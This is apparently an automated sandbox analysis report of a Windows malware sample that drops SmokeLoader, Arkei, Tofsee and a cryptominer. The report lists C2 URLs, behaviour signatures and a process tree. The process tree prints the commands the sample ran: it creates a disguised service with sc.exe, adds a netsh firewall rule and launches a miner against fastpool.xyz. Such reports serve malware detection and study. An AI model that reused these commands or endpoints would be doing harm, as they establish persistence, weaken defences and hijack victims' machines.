Analysis

  • max time kernel
    75s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    17/01/2022, 09:46

General

  • Target

    94444f3a21c9bdd63821b3090b20d0a3.exe

  • Size

    277KB

  • MD5

    94444f3a21c9bdd63821b3090b20d0a3

  • SHA1

    a8b4599b3195d8b4e3229c45eaf79646063f55b4

  • SHA256

    c203af5c5674ad460335b24052192e84261128b48a6a8ab45b535b8fe2b85bc0

  • SHA512

    4c98239c18f2da8cd1956205dce6325f0e9f31f402fb59378f90eed0e4fb4153e54d7ca1abdc7b92528533cf201238253c5564f51e03c7f7394adbda67bda9db

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

arkei

Botnet

Default

C2

http://file-file-host4.com/tratata.php

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\94444f3a21c9bdd63821b3090b20d0a3.exe
    "C:\Users\Admin\AppData\Local\Temp\94444f3a21c9bdd63821b3090b20d0a3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Users\Admin\AppData\Local\Temp\94444f3a21c9bdd63821b3090b20d0a3.exe
      "C:\Users\Admin\AppData\Local\Temp\94444f3a21c9bdd63821b3090b20d0a3.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1108
  • C:\Users\Admin\AppData\Local\Temp\3BE8.exe
    C:\Users\Admin\AppData\Local\Temp\3BE8.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:516
  • C:\Users\Admin\AppData\Local\Temp\455F.exe
    C:\Users\Admin\AppData\Local\Temp\455F.exe
    1⤵
    • Executes dropped EXE
    PID:1244
  • C:\Users\Admin\AppData\Local\Temp\4B97.exe
    C:\Users\Admin\AppData\Local\Temp\4B97.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\olcyvuqd\
      2⤵
        PID:2000
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\givbibob.exe" C:\Windows\SysWOW64\olcyvuqd\
        2⤵
          PID:1836
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create olcyvuqd binPath= "C:\Windows\SysWOW64\olcyvuqd\givbibob.exe /d\"C:\Users\Admin\AppData\Local\Temp\4B97.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1208
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description olcyvuqd "wifi internet conection"
            2⤵
              PID:1680
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start olcyvuqd
              2⤵
                PID:1600
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1080
              • C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2036
                • C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                  C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1416
              • C:\Windows\SysWOW64\olcyvuqd\givbibob.exe
                C:\Windows\SysWOW64\olcyvuqd\givbibob.exe /d"C:\Users\Admin\AppData\Local\Temp\4B97.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1744
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1760
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1680
              • C:\Users\Admin\AppData\Local\Temp\B306.exe
                C:\Users\Admin\AppData\Local\Temp\B306.exe
                1⤵
                • Executes dropped EXE
                PID:1616
              • C:\Users\Admin\AppData\Local\Temp\C427.exe
                C:\Users\Admin\AppData\Local\Temp\C427.exe
                1⤵
                • Executes dropped EXE
                PID:1620
              • C:\Users\Admin\AppData\Local\Temp\E667.exe
                C:\Users\Admin\AppData\Local\Temp\E667.exe
                1⤵
                • Executes dropped EXE
                PID:1968
              • C:\Users\Admin\AppData\Local\Temp\F3C1.exe
                C:\Users\Admin\AppData\Local\Temp\F3C1.exe
                1⤵
                  PID:1940
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    #cmd
                    2⤵
                      PID:564
                  • C:\Users\Admin\AppData\Local\Temp\ADA.exe
                    C:\Users\Admin\AppData\Local\Temp\ADA.exe
                    1⤵
                      PID:624
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:1096
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:1128
                        • C:\Users\Admin\AppData\Local\Temp\4C5D.exe
                          C:\Users\Admin\AppData\Local\Temp\4C5D.exe
                          1⤵
                            PID:1504

                          Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • memory/516-110-0x0000000000400000-0x0000000000452000-memory.dmp

                                  Filesize

                                  328KB

                                • memory/516-108-0x0000000000220000-0x0000000000229000-memory.dmp

                                  Filesize

                                  36KB

                                • memory/516-109-0x00000000002B0000-0x00000000002B9000-memory.dmp

                                  Filesize

                                  36KB

                                • memory/564-176-0x0000000000400000-0x000000000046C000-memory.dmp

                                  Filesize

                                  432KB

                                • memory/564-177-0x0000000000400000-0x000000000046C000-memory.dmp

                                  Filesize

                                  432KB

                                • memory/564-180-0x0000000000400000-0x000000000046C000-memory.dmp

                                  Filesize

                                  432KB

                                • memory/564-181-0x0000000000400000-0x000000000046C000-memory.dmp

                                  Filesize

                                  432KB

                                • memory/564-182-0x0000000004D50000-0x0000000004D51000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/564-173-0x0000000000400000-0x000000000046C000-memory.dmp

                                  Filesize

                                  432KB

                                • memory/564-174-0x0000000000400000-0x000000000046C000-memory.dmp

                                  Filesize

                                  432KB

                                • memory/564-175-0x0000000000400000-0x000000000046C000-memory.dmp

                                  Filesize

                                  432KB

                                • memory/624-166-0x0000000000C20000-0x0000000000C21000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/624-151-0x0000000074D30000-0x0000000074D77000-memory.dmp

                                  Filesize

                                  284KB

                                • memory/624-154-0x0000000074BD0000-0x0000000074D2C000-memory.dmp

                                  Filesize

                                  1.4MB

                                • memory/624-160-0x00000000012E0000-0x0000000001504000-memory.dmp

                                  Filesize

                                  2.1MB

                                • memory/624-145-0x0000000000090000-0x00000000000D4000-memory.dmp

                                  Filesize

                                  272KB

                                • memory/624-148-0x0000000076780000-0x000000007682C000-memory.dmp

                                  Filesize

                                  688KB

                                • memory/624-161-0x00000000012E0000-0x0000000001504000-memory.dmp

                                  Filesize

                                  2.1MB

                                • memory/624-144-0x0000000000190000-0x0000000000191000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/624-143-0x00000000012E0000-0x0000000001504000-memory.dmp

                                  Filesize

                                  2.1MB

                                • memory/624-141-0x00000000749B0000-0x00000000749FA000-memory.dmp

                                  Filesize

                                  296KB

                                • memory/624-164-0x0000000074720000-0x00000000747A0000-memory.dmp

                                  Filesize

                                  512KB

                                • memory/624-162-0x00000000766C0000-0x000000007674F000-memory.dmp

                                  Filesize

                                  572KB

                                • memory/624-152-0x0000000076660000-0x00000000766B7000-memory.dmp

                                  Filesize

                                  348KB

                                • memory/720-70-0x000000000070B000-0x000000000071C000-memory.dmp

                                  Filesize

                                  68KB

                                • memory/720-78-0x0000000000400000-0x00000000005CF000-memory.dmp

                                  Filesize

                                  1.8MB

                                • memory/720-77-0x0000000000220000-0x0000000000233000-memory.dmp

                                  Filesize

                                  76KB

                                • memory/1096-163-0x00000000712D1000-0x00000000712D3000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1096-168-0x00000000000E0000-0x000000000014B000-memory.dmp

                                  Filesize

                                  428KB

                                • memory/1096-167-0x0000000000200000-0x0000000000274000-memory.dmp

                                  Filesize

                                  464KB

                                • memory/1108-59-0x0000000075421000-0x0000000075423000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1108-57-0x0000000000400000-0x0000000000409000-memory.dmp

                                  Filesize

                                  36KB

                                • memory/1128-159-0x00000000000E0000-0x00000000000EC000-memory.dmp

                                  Filesize

                                  48KB

                                • memory/1128-56-0x0000000000220000-0x0000000000229000-memory.dmp

                                  Filesize

                                  36KB

                                • memory/1128-55-0x00000000007BB000-0x00000000007CC000-memory.dmp

                                  Filesize

                                  68KB

                                • memory/1128-158-0x00000000000F0000-0x00000000000F7000-memory.dmp

                                  Filesize

                                  28KB

                                • memory/1244-67-0x0000000000400000-0x00000000005D0000-memory.dmp

                                  Filesize

                                  1.8MB

                                • memory/1244-66-0x0000000000230000-0x000000000024C000-memory.dmp

                                  Filesize

                                  112KB

                                • memory/1244-65-0x000000000068B000-0x000000000069C000-memory.dmp

                                  Filesize

                                  68KB

                                • memory/1416-102-0x0000000000400000-0x0000000000420000-memory.dmp

                                  Filesize

                                  128KB

                                • memory/1416-100-0x0000000000400000-0x0000000000420000-memory.dmp

                                  Filesize

                                  128KB

                                • memory/1416-101-0x0000000000400000-0x0000000000420000-memory.dmp

                                  Filesize

                                  128KB

                                • memory/1416-104-0x0000000000400000-0x0000000000420000-memory.dmp

                                  Filesize

                                  128KB

                                • memory/1416-103-0x0000000000400000-0x0000000000420000-memory.dmp

                                  Filesize

                                  128KB

                                • memory/1420-111-0x00000000048F0000-0x0000000004906000-memory.dmp

                                  Filesize

                                  88KB

                                • memory/1420-60-0x00000000029F0000-0x0000000002A06000-memory.dmp

                                  Filesize

                                  88KB

                                • memory/1504-183-0x000000013F1D0000-0x000000013FAFE000-memory.dmp

                                  Filesize

                                  9.2MB

                                • memory/1504-184-0x000000013F1D0000-0x000000013FAFE000-memory.dmp

                                  Filesize

                                  9.2MB

                                • memory/1616-123-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                  Filesize

                                  39.8MB

                                • memory/1616-122-0x0000000004470000-0x0000000004515000-memory.dmp

                                  Filesize

                                  660KB

                                • memory/1616-142-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                  Filesize

                                  39.8MB

                                • memory/1616-147-0x0000000002BD0000-0x0000000002C38000-memory.dmp

                                  Filesize

                                  416KB

                                • memory/1616-185-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                  Filesize

                                  39.8MB

                                • memory/1616-150-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                  Filesize

                                  39.8MB

                                • memory/1616-149-0x0000000004520000-0x00000000045B2000-memory.dmp

                                  Filesize

                                  584KB

                                • memory/1616-186-0x0000000000360000-0x00000000003AF000-memory.dmp

                                  Filesize

                                  316KB

                                • memory/1616-187-0x00000000045C0000-0x0000000004651000-memory.dmp

                                  Filesize

                                  580KB

                                • memory/1616-121-0x00000000002E0000-0x0000000000360000-memory.dmp

                                  Filesize

                                  512KB

                                • memory/1620-191-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                  Filesize

                                  39.8MB

                                • memory/1620-172-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                  Filesize

                                  39.8MB

                                • memory/1620-126-0x0000000004390000-0x0000000004410000-memory.dmp

                                  Filesize

                                  512KB

                                • memory/1620-189-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                  Filesize

                                  39.8MB

                                • memory/1680-113-0x0000000000270000-0x0000000000361000-memory.dmp

                                  Filesize

                                  964KB

                                • memory/1680-112-0x0000000000270000-0x0000000000361000-memory.dmp

                                  Filesize

                                  964KB

                                • memory/1744-90-0x000000000075B000-0x000000000076B000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/1744-96-0x0000000000400000-0x00000000005CF000-memory.dmp

                                  Filesize

                                  1.8MB

                                • memory/1760-92-0x00000000000C0000-0x00000000000D5000-memory.dmp

                                  Filesize

                                  84KB

                                • memory/1760-93-0x00000000000C0000-0x00000000000D5000-memory.dmp

                                  Filesize

                                  84KB

                                • memory/1940-136-0x00000000006D0000-0x00000000006D1000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1940-134-0x0000000000E90000-0x0000000000FBA000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/1940-133-0x0000000000E90000-0x0000000000FBA000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/1968-129-0x0000000000290000-0x00000000002F0000-memory.dmp

                                  Filesize

                                  384KB

                                • memory/2036-79-0x0000000000F90000-0x000000000101A000-memory.dmp

                                  Filesize

                                  552KB

                                • memory/2036-80-0x0000000000F90000-0x000000000101A000-memory.dmp

                                  Filesize

                                  552KB

                                • memory/2036-88-0x0000000004D80000-0x0000000004D81000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/2036-89-0x0000000000480000-0x0000000000481000-memory.dmp

                                  Filesize

                                  4KB